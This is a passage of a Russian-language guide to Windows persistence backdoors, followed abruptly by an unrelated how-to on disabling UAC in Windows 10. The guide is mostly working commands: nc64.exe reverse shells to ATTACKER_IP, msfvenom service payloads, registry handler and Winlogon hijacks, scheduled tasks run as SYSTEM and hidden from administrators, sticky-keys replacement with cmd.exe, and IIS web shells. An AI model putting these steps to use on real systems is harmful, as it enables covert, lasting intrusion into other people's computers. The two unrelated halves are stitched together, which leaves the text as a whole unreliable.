) — приложение которое открывает это расширение. В этой же ветке содержатся ключи для каждого progID
.
В контексте создания бэкдора будет использоваться следующий подключ progID
: HKLM\SOFTWARE\Classes\progID\shell\open\command
— в нём (в значении Default
) хранится команда для вызова соответствующего приложения с необходимыми параметрами.
Например:
Расширение .docx
имеет progID
= HKLM\SOFTWARE\Classes.docx(Default) = Word.Document.12
Следовательно приложение которое открывает .docx
файлы и параметры запуска такого приложения определены в «`
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Word.Document.12\shell\Open\command(Default) =
«C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE» /n «%1» /o «%u»
Зная об этом, можно поступить по аналогии с ярлыком: написать скрипт который создает reverse shell и только потом открывает приложение - обработчик расширения:
```cmd title="Подмена обработчика расширения"
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe $ATTACKER_IP 4448"
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n $args[0]
# а потом подменить запись в реестре
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Word.Document.12\shell\Open\command\(Default) = powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
Бэкдоры из сервисов
Сервисы (или в рускоязычной терминологии Windows — Службы) отличный инструмент для закрепления в системе. Выполняются они в фоне, не мельтешат окошками, запускаются автоматически — красота!
Банальный пример:
«`cmd title= «Админ — Смени пароль»
sc.exe create EvilService binPath= «net user Administrator Passwd123» start= auto
sc.exe start EvilService
такой сервис будет устанавливать пароль Administrator в Passwd123 при каждой загрузке ОС.
#### Создание нового сервиса - бэкдора
Можно и нужно идти дальше. `msfvenom` предлагает возможность создания исполняемых файлов которые будут работать в качестве сервиса:
```bash title="Создание сервиса"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f exe-service -o backdoor.exe
# Осталось отправить файл на машину и положить его куда-нибудь поглубже
Создание сервиса — бэкдора
sc.exe create EvilService binPath= "C:\windows\backdoor.exe" start= auto
sc.exe start EvilService
Подмена существующего сервиса
Как правило, модификация существуюшего сервиса, может быть замечена много позже создания нового. Хорошими кандидатами являются отключенные сервисы — они могут быть изменены без лишних уведомлений.
Поищем такие сервисы:
C:\> sc.exe query state=all
...
ommited
...
# Как правило, отключенный сервис выглядит следующим образом:
SERVICE_NAME: HerbivoreService
DISPLAY_NAME: HerbivoreService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
# Расмотрим его подробнее:
C:\> sc.exe qc HerbivoreService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: HerbivoreService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\HerbivoreService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HerbivoreService
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local Service
Из описания сервиса видно, что запускается он автоматически, запускается от имени пользователя NT AUTHORITY\Local Service. То есть является именно таким сервисом какой нам и нужен. Осталось только подменить бинарник этого сервиса. Для этого создаём бинарник (ранее на этой же странице) и изменяем конфигурацию сервиса:
Подмена бинарника в сервисе
C:\> sc.exe config HerbivoreService binPath= "C:\Windows\backdoor.exe" start= auto obj= "LocalSystem"
# Получим подтверждение о том, что всё прошло успешно:
C:\> sc.exe qc HerbivoreService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: HerbivoreService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\backdoor.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HerbivoreService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Готово! Осталось дождаться только запуска сервиса.
Использование Планировщика задач
Планировщик задач — ещё один инструмент который может быть использован в качестве запуска бэкдоров.
Простой пример:
Ежеминутный reverse shell
# Создание задачи которая выполняется каждый час и запускает nc64.exe с нужными параметрами
C:\> schtasks /create /sc hour /mo 1 /tn PeriodicBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "PeriodicBackdoor" has successfully been created.
Задача создана, ожидайте шелл!
В Windows имеется возможность сделать задачу планировщика скрытой. Тогда зайдя в taskschd.msc
такую задачу увидеть не получится. Осуществить такое возможно удалив Security Descriptor (SD) конкретной задачи. SD предстваляет из себя ACL который содержит сведения о правах пользователей на задачу. Следовательно, если пользователю не назначены права на чтение задачи, он её не увидит. Удаление SD задачи скроет её от всех пользователей влючая Администраторов.
Дескрипторы безопасности задач хранятся в HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
в этой ветке хранятся все имеющиеся задачи. Для удаления значения SD потребуются права уровня SYSTEM, поэтому regedit
нужно будет запускать через psexec
:
Запуск regedit с SYSTEM правами
C:\> c:\tools\pstools\PsExec64.exe -s -i regedit
В качестве проверки:
C:\> schtasks /query /tn PeriodicBackdoor
ERROR: The system cannot find the file specified.
Вход в систему
Автозагрузка через директорию
Всем известно, что у каждого пользователя имеется директория для запуска приложений по умолчанию — C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
или shell:startup
достаточно поместить payload в эту директорию и он будет выполнятся при каждом входу в систему. Кроме того, имеется директория файлы из которой будут запускаться при входе любого пользователя: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Автозагрузка через реестр
Также, автоматически запускаемые после входа в систему приложения можно определить в реестре.
Для отдельного пользователя:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Для всех пользователей:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
В этих ветках нужно определить ключ типа REG_EXPAND_SZ (Расширяемый строковый параметр)
, обозвать его как нибудь, а в значении указать абсолютный путь до исполняемого файла
Подмена WinLogon
Еще одним путём определения приложений запускаемых при старте является внесение изменений в ветку реестра Winlogon в которой, кроме прочего, определяется окружение рабочего стола при входе в систему (по умолчанию explorer.exe
) и приложение ответственное за восстановление настроек профиля пользователя (по умолчанию userinit.exe
)
Если просто заменить эти бинарники — сломается корректный процесс входа. Однако, в ключ Userinit` можно добавлять значения через запятую (с пробелом) и они будут корректно обрабатываться! Если поместить туда путь до бинарника с reverse shell, то связь с C2 появится ~ через 10 секунд после входа в систему.
Подмена скриптов WinLogon
В область задач выполняемых userinit.exe
входит проверка наличия ключа UserInitMprLogonScript
и выполнение скриптов которые заданы в качестве его значения. Этот ключ не задан по умолчанию, поэтому его нужно создать:
reg add HKU\Environment /v UserInitMprLogonScript /t REG_EXPAND_SZ /d C:\Windows\backdoor.exe
Бэкдор в окне входа
В случае если имеется физический доступ к машине (ну или RDP) можно поместить бэкдор в приложения которые вызываются прямо с экрана входа в систему.
Залипание клавиш
За залипание клавиш отвечает C:\Windows\System32\sethc.exe
для его подмены нужно стать его владельцем:
Подмена Залипания клавиш
C:\> takeown /f c:\Windows\System32\sethc.exe
SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "TESLAB\Administrator".
C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
1 file(s) copied.
Специальные возможности
Аналогично можно поступить со «Специальными возможностями», их бинарник расположен в C:\Windows\System32\Utilman.exe
Web Shell для IIS
В случае если на машине запущен IIS сервер, можно просто загрузить туда web shell.
Загрузить web shell всё равно, что оставить бэкдор. Такой бэкдор будет выполнятся от имени IIS который хоть и не наделён Административными правами, но их легко можно получить, так как его учётка обладает привилегией SeImpersonatePrivilege
. О том, как эскалировать привилегии можно почитать тут.
Несколько кликов — и подтверждать свои действия больше не придётся.
Что такое контроль учётных записей в Windows 10 и как он работает
Контроль учётных записей, или UAC (User Account Control), — это встроенный компонент Windows для защиты от изменений, которые могут нанести потенциальный вред компьютеру. Когда пользователь или программа пытаются скорректировать системные файлы и настройки, UAC уведомляет об этом и требует подтверждения действий.
Предусмотрено четыре уровня контроля. При включении самого жёсткого будут отображаться уведомления при изменении параметров пользователем и программами. Второй уровень предусматривает сообщения только при попытке изменений программами. Третий тоже подразумевает слежение за действиями утилит, но без затемнения экрана. А четвёртый — это полное отключение функции.
В целях безопасности по умолчанию включён второй уровень контроля учётных записей. При желании его можно перенастроить или отключить вовсе.
Что будет, если отключить контроль учётных записей в Windows 10
После деактивации UAC больше не нужно будет разрешать действия, которые требуют прав администратора. Соответственно, уведомления об этом перестанут отображаться.
Однако владельцы стандартных учётных записей пользователей — если они есть на компьютере — не смогут внести никаких изменений, требующих права администратора.
Также стоит понимать, что после этого потенциальные злоумышленники смогут корректировать системные настройки на ПК.
Как отключить контроль учётных записей в Windows 10 через панель управления
Самый простой и наглядный способ, который доступен и в Windows 10, и в любых других версиях ОС.
Начните набирать в поиске «контроль» и выберите из подсказок «Изменение параметров контроля учётных записей».
Переместите ползунок в нижнее положение, нажмите OK, а затем «Да» для подтверждения действия.
Как отключить контроль учётных записей в Windows 10 через командную строку
Ещё один вариант, который работает не только в Windows 10, но и в остальных версиях ОС.
Введите в поиске cmd и кликните «Запуск от имени администратора».
Скопируйте и вставьте в открывшееся окно команду reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f.
Как отключить контроль учётных записей в Windows 10 через Редактор локальной групповой политики
Если у вас Windows 10 Pro или Enterprise, то вам доступен ещё один вариант.
Нажмите клавиши Win + R для открытия диалогового окна «Выполнить», введите gpedit.msc и кликните OK.
Перейдите с помощью бокового меню в раздел «Конфигурация компьютера» → «Конфигурация Windows» → «Параметры безопасности» → «Локальные политики» → «Параметры безопасности».
Отыщите в списке строку «Контроль учётных записей: все администраторы работают в режиме одобрения администратором». Затем дважды кликните по ней, выберите значение «Отключён» и нажмите OK.